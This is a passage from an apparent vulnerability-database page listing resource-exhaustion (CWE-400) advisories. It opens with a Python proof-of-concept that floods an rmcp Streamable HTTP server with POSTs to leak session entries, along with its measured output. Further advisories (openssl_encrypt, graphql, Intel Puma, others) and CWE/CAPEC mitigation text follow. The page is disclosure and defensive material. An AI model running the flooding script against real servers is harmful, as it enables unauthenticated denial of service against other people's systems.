\"2.0\",\n    \"id\": 1,\n    \"method\": \"tools/list\",\n    \"params\": {},\n}).encode(\"ascii\")\n\nheaders = {\n    \"Host\": f\"{HOST}:{PORT}\",                        # passes allowed_hosts\n    \"Content-Type\": \"application/json\",\n    \"Accept\": \"application/json, text/event-stream\",\n    \"Content-Length\": str(len(body)),\n}\n\nn = int(sys.argv[1]) if len(sys.argv) \u003e 1 else 1000\nprint(f\"[client] firing {n} leaking POSTs at http://{HOST}:{PORT}{PATH}\")\nstart = time.monotonic()\nleaked = 0\nfor i in range(n):\n    conn = http.client.HTTPConnection(HOST, PORT, timeout=5)\n    conn.request(\"POST\", PATH, body=body, headers=headers)\n    resp = conn.getresponse()\n    status = resp.status\n    resp.read()\n    conn.close()\n    if status == 422:\n        leaked += 1\nelapsed = time.monotonic() - start\nprint(f\"[client] done in {elapsed:.2f}s. {leaked}/{n} requests took the leaking branch (HTTP 422).\")\n```\n\nRun it:\n\n```bash\npython3 attack.py 1000\n```\n\n#### Step 3 \u2014 observed evidence\n\nAttacker output (verbatim, measured on Rust 1.92.0 stable, macOS):\n\n```\n[client] firing 1000 leaking POSTs at http://127.0.0.1:8000/mcp\n[client] done in 0.46s. 1000/1000 requests took the leaking branch (HTTP 422).\n```\n\nServer output during and after the attack:\n\n```\n[count] active_sessions=0\n[count] active_sessions=0\n[count] active_sessions=0\n[count] active_sessions=844\n[count] active_sessions=1000      \u003c-- attack complete, attacker has disconnected\n[count] active_sessions=1000\n[count] active_sessions=1000\n[count] active_sessions=1000\n[count] active_sessions=1000      \u003c-- 20+ seconds later, still 1000\n[count] active_sessions=1000\n[count] active_sessions=1000\n```\n\nThe behavioural evidence that confirms the vulnerability:\n\n- Every one of the 1 000 requests took the leak branch (`HTTP 422 Unprocessable Entity` with body `Unexpected message, expect initialize request`).\n- A single Python client sustained `1000 / 0.46 \u2248 2 174` leak requests per second.\n- After the attacker exited, `active_sessions=1000` never decreased. The session table holds those entries for the rest of the process\u0027s lifetime.\n\n\u003c!--\n  Optional: drop in a terminal screenshot here. Two screenshots\n  (server console / attacker console) or one side-by-side capture are\n  both fine. Filenames can be anything you like; suggested:\n    ![server console \u2014 active_sessions climbs to 1000 and remains](server.png)\n    ![attacker console \u2014 1000/1000 HTTP 422 in 0.46s](attacker.png)\n--\u003e\n\n\u003cimg width=\"3554\" height=\"1468\" alt=\"poc\" src=\"https://github.com/user-attachments/assets/48e51c27-c0b9-4bf9-ab3f-d56193ac6da6\" /\u003e\n\n\n### Impact\n\n- **Attack vector**: Network (AV:N). The listener binds a TCP port; the default `allowed_hosts = [\"localhost\", \"127.0.0.1\", \"::1\"]` accepts anything reaching it over the loopback interface. In the dominant deployment model \u2014 a Streamable HTTP MCP server embedded into an IDE or local agent \u2014 any co-resident process on the host is a candidate attacker. In LAN deployments where the operator widened `allowed_hosts` to a public hostname, the attack is reachable from the network.\n- **Authentication required**: None.\n- **User interaction required**: None.\n- **Result**: Denial of Service. Memory grows linearly with attacker request volume (~400\u2013550 bytes per leaked entry, including the `SessionId` `Arc\u003cstr\u003e`, the `LocalSessionHandle` struct, and the half-dropped mpsc channel `Inner`). At the measured rate of 2 174 leak requests per second from one Python client:\n    - **1 hour**: ~7.8 M entries, \u22483.5 GB\n    - **1 day**: ~187 M entries, \u224884 GB\n    - **1 week**: process is long dead from OOM\n- **Secondary effect**: `LocalSessionManager.sessions` is behind a `tokio::sync::RwLock`. Every legitimate session operation (`has_session`, `create_session`, `close_session`, `restore_session`) takes that lock. As the HashMap grows, write-lock contention degrades latency for all clients well before OOM.\n- **Worst case**: Server process is OOM-killed and any in-flight sessions are torn down with it. Restart restores service but does not prevent re-attack.\n\n### Suggested fix\n\nTwo minimally invasive options. Both have been considered against the existing API; the maintainers will know which fits better with the internal contracts.\n\n1. **Validate before allocating.** Move the `ClientJsonRpcMessage::Request(InitializeRequest)` discriminant check and the `validate_header_matches_init_body` call **above** the `self.session_manager.create_session().await` line. Reject non-initialize bodies with `422` *before* any state is created. This removes a class of bugs rather than patching one path. The downside is that `validate_header_matches_init_body` currently reads `init_req.params.protocol_version`, so the `InitializeRequest` discriminant has to be deconstructed earlier \u2014 a small refactor.\n2. **RAII guard for the session.** Wrap the `session_id` returned by `create_session` in a guard whose `Drop` impl spawns a `close_session` call. Demote the guard to a no-op only after the handshake has fully succeeded (i.e. at the very end of the happy-path arm, just before the response is returned). This keeps the existing flow but converts every early-return into a cleanup trigger automatically \u2014 including future early-returns that reviewers might miss.\n\nA regression test that asserts `session_manager.sessions.read().await.len() == 0` after sending a non-initialize POST and a header-mismatched initialize POST would catch this and any similar future regressions.",
  "id": "GHSA-9pj6-vhgr-3mwh",
  "modified": "2026-09-16T22:13:34Z",
  "published": "2026-09-16T22:13:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/rust-sdk/security/advisories/GHSA-9pj6-vhgr-3mwh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63128"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/rust-sdk/pull/934"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/rust-sdk/commit/dfa7fd6f9309deab60bea230b041be9a3fcda846"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/modelcontextprotocol/rust-sdk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/rust-sdk/releases/tag/rmcp-v2.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "RMCP: Unauthenticated permanent session-table leak in rmcp Streamable HTTP server transport leads to remote denial-of-service"
}

GHSA-9PPH-4H37-568J

Vulnerability from github – Published: 2026-08-27 18:32 – Updated: 2026-08-27 18:32
VLAI
Details

openssl_encrypt before 1.4.9 fails to validate KDF cost parameters in encrypted file metadata and keystore headers, allowing attackers to trigger unbounded memory allocation. Attackers can craft malicious encrypted files declaring arbitrarily large Argon2, scrypt, or balloon KDF parameters to exhaust system memory and crash the process without authentication.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-81721"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-27T17:21:02Z",
    "severity": "HIGH"
  },
  "details": "openssl_encrypt before 1.4.9 fails to validate KDF cost parameters in encrypted file metadata and keystore headers, allowing attackers to trigger unbounded memory allocation. Attackers can craft malicious encrypted files declaring arbitrarily large Argon2, scrypt, or balloon KDF parameters to exhaust system memory and crash the process without authentication.",
  "id": "GHSA-9pph-4h37-568j",
  "modified": "2026-08-27T18:32:29Z",
  "published": "2026-08-27T18:32:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jahlives/openssl_encrypt/security/advisories/GHSA-7894-5gw8-69hr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81721"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openssl-encrypt-before-1.4.9-denial-of-service-via-kdf-2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-9PV7-VFVM-6VR7

Vulnerability from github – Published: 2023-09-20 06:30 – Updated: 2023-09-21 17:03
VLAI
Summary
graphql Uncontrolled Resource Consumption vulnerability
Details

Versions of the package graphql from 16.3.0 and before 16.8.1 are vulnerable to Denial of Service (DoS) due to insufficient checks in the OverlappingFieldsCanBeMergedRule.ts file when parsing large queries. This vulnerability allows an attacker to degrade system performance.

Note: It was not proven that this vulnerability can crash the process.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "graphql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "16.3.0"
            },
            {
              "fixed": "16.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-26144"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-09-21T17:03:11Z",
    "nvd_published_at": "2023-09-20T05:15:39Z",
    "severity": "MODERATE"
  },
  "details": "Versions of the package graphql from 16.3.0 and before 16.8.1 are vulnerable to Denial of Service (DoS) due to insufficient checks in the OverlappingFieldsCanBeMergedRule.ts file when parsing large queries. This vulnerability allows an attacker to degrade system performance.\n\n**Note:** It was not proven that this vulnerability can crash the process.",
  "id": "GHSA-9pv7-vfvm-6vr7",
  "modified": "2023-09-21T17:03:11Z",
  "published": "2023-09-20T06:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26144"
    },
    {
      "type": "WEB",
      "url": "https://github.com/graphql/graphql-js/issues/3955"
    },
    {
      "type": "WEB",
      "url": "https://github.com/graphql/graphql-js/pull/3972"
    },
    {
      "type": "WEB",
      "url": "https://github.com/graphql/graphql-js/commit/8f4c64eb6a7112a929ffeef00caa67529b3f2fcf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/graphql/graphql-js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/graphql/graphql-js/releases/tag/v16.8.1"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-GRAPHQL-5905181"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "graphql Uncontrolled Resource Consumption vulnerability"
}

GHSA-9QC4-372J-5862

Vulnerability from github – Published: 2022-05-14 02:57 – Updated: 2022-05-14 02:57
VLAI
Details

Firmware in the Intel Puma 5, 6, and 7 Series might experience resource depletion or timeout, which allows a network attacker to create a denial of service via crafted network traffic.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-5693"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-07-31T19:29:00Z",
    "severity": "HIGH"
  },
  "details": "Firmware in the Intel Puma 5, 6, and 7 Series might experience resource depletion or timeout, which allows a network attacker to create a denial of service via crafted network traffic.",
  "id": "GHSA-9qc4-372j-5862",
  "modified": "2022-05-14T02:57:28Z",
  "published": "2022-05-14T02:57:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5693"
    },
    {
      "type": "WEB",
      "url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-000097.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/104941"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9QFV-M6W2-FHCH

Vulnerability from github – Published: 2025-10-28 18:30 – Updated: 2025-12-04 18:30
VLAI
Details

Hotta Studio GameDriverX64.sys 7.23.4.7, a signed kernel-mode anti-cheat driver, allows local attackers to cause a denial of service by crashing arbitrary processes via sending crafted IOCTL requests.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-61155"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-28T16:15:39Z",
    "severity": "MODERATE"
  },
  "details": "Hotta Studio GameDriverX64.sys 7.23.4.7, a signed kernel-mode anti-cheat driver, allows local attackers to cause a denial of service by crashing arbitrary processes via sending crafted IOCTL requests.",
  "id": "GHSA-9qfv-m6w2-fhch",
  "modified": "2025-12-04T18:30:37Z",
  "published": "2025-10-28T18:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61155"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pollotherunner/CVE-2025-61155/blob/main/advisory.md"
    },
    {
      "type": "WEB",
      "url": "https://www.hotta.com.tw"
    },
    {
      "type": "WEB",
      "url": "http://gamedriverx64sys.com"
    },
    {
      "type": "WEB",
      "url": "http://hotta.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9QFW-V8PH-47FV

Vulnerability from github – Published: 2026-09-18 03:30 – Updated: 2026-09-18 03:30
VLAI
Details

A vulnerability was identified in O-RAN-SC SMO OAM 2025-06-10. This affects an unknown part of the component VES Collector. The manipulation leads to allocation of resources. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. The project was informed of the problem early through a bug report but has not responded yet.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
5.5 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-93310"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-18T01:16:56Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was identified in O-RAN-SC SMO OAM 2025-06-10. This affects an unknown part of the component VES Collector. The manipulation leads to allocation of resources. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. The project was informed of the problem early through a bug report but has not responded yet.",
  "id": "GHSA-9qfw-v8ph-47fv",
  "modified": "2026-09-18T03:30:25Z",
  "published": "2026-09-18T03:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-93310"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/fklement/f70321f38513c2e82a87f062e519c587"
    },
    {
      "type": "WEB",
      "url": "https://lf-o-ran-sc.atlassian.net/browse/SMO-204"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-93310"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/942313"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/406596"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/406596/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list